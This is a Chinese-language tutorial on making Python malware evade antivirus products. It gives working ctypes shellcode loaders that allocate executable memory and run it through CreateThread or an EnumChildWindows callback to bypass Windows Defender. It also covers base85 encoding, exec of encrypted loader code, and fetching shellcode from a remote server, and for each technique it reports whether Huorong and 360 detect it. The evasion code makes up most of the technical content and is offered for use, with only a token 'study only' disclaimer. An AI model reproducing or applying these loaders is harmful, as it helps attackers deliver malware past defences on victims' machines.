关于python的免杀简述
字数 1006 2025-08-12 11:34:21
Python免杀技术详解
一、免杀技术概述
免杀技术(Anti Anti-Virus)是一种能使病毒木马免于被杀毒软件查杀的技术。该技术涉及反汇编、逆向工程、系统漏洞等黑客技术,主要通过修改病毒、木马的内容改变特征码来躲避杀毒软件的查杀。
二、杀毒软件的查杀方式
1. 基于特征查杀
- 定义阈值判断恶意程序
- 使用以下手段进行查杀:
- 文件MD5/SHA1哈希值
- 匹配文件中的字符串
- 程序入口点分析
- IAT导入表分析
- 高度依赖厂商病毒库更新
2. 基于行为查杀
- Hook关键系统API:
- 注册表操作
- 添加启动项/服务/用户
- 进程/线程注入
- DLL加载
- 进程/线程创建
- 监控API调用链(如:申请内存→加载shellcode→执行内存)
三、Python免杀实现技术
1. 基础shellcode加载器
buf = b"" # shellcode字节流
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
原理:
- 申请可执行内存
- 将shellcode写入内存
- 创建线程执行内存中的shellcode
- 等待线程执行完成
查杀情况:
- 火绒:静态查杀(基于特征码)
- 360:云端查杀
2. shellcode加密处理
使用base85等加密算法对shellcode进行加密:
# 加密处理shellcode
encrypted_buf = b85encode(original_buf)
查杀情况:
- 火绒:仍被查杀(API函数特征)
- 360:可通过云端查杀
3. 敏感函数特征处理
对关键API调用代码进行整体加密,使用eval/exec动态执行:
# 加密整个加载代码
encrypted_code = encrypt_code("""
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
""")
# 运行时解密执行
exec(decrypt(encrypted_code))
查杀情况:
- 火绒:可通过
- 360:可通过
4. 绕过Windows Defender
使用回调函数技术:
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.memmove(rwxpage, buf, len(buf))
ctypes.windll.User32.EnumChildWindows(None, ctypes.c_void_p(rwxpage), 0)
原理:
利用回调函数机制间接执行shellcode,避免直接调用敏感API
5. 远程加载优化
改为从远程服务器动态加载shellcode,减少本地特征:
import requests
# 从远程获取加密的shellcode
encrypted_buf = requests.get("http://remote.server/shellcode").content
buf = decrypt(encrypted_buf)
# 然后使用前述方法加载
四、技术要点总结
- 多层加密:对shellcode和加载代码进行多层加密
- 动态执行:使用eval/exec等动态执行技术
- API混淆:对敏感API调用进行混淆处理
- 回调机制:利用系统回调函数间接执行代码
- 远程加载:减少本地特征,动态获取payload
- 代码分散:将关键功能分散到不同模块
五、注意事项
- Python打包后的体积较大,特征明显
- 对于高级杀软(如卡巴斯基)仍需更复杂的技术
- 建议结合C/C++加载器提高免杀效果
- 本文技术仅供学习研究,请勿用于非法用途
六、未来发展方向
- 研究更多API调用链混淆技术
- 探索内存操作替代方案
- 研究无文件攻击技术
- 结合合法软件的白名单特性
- 研究基于机器学习的对抗技术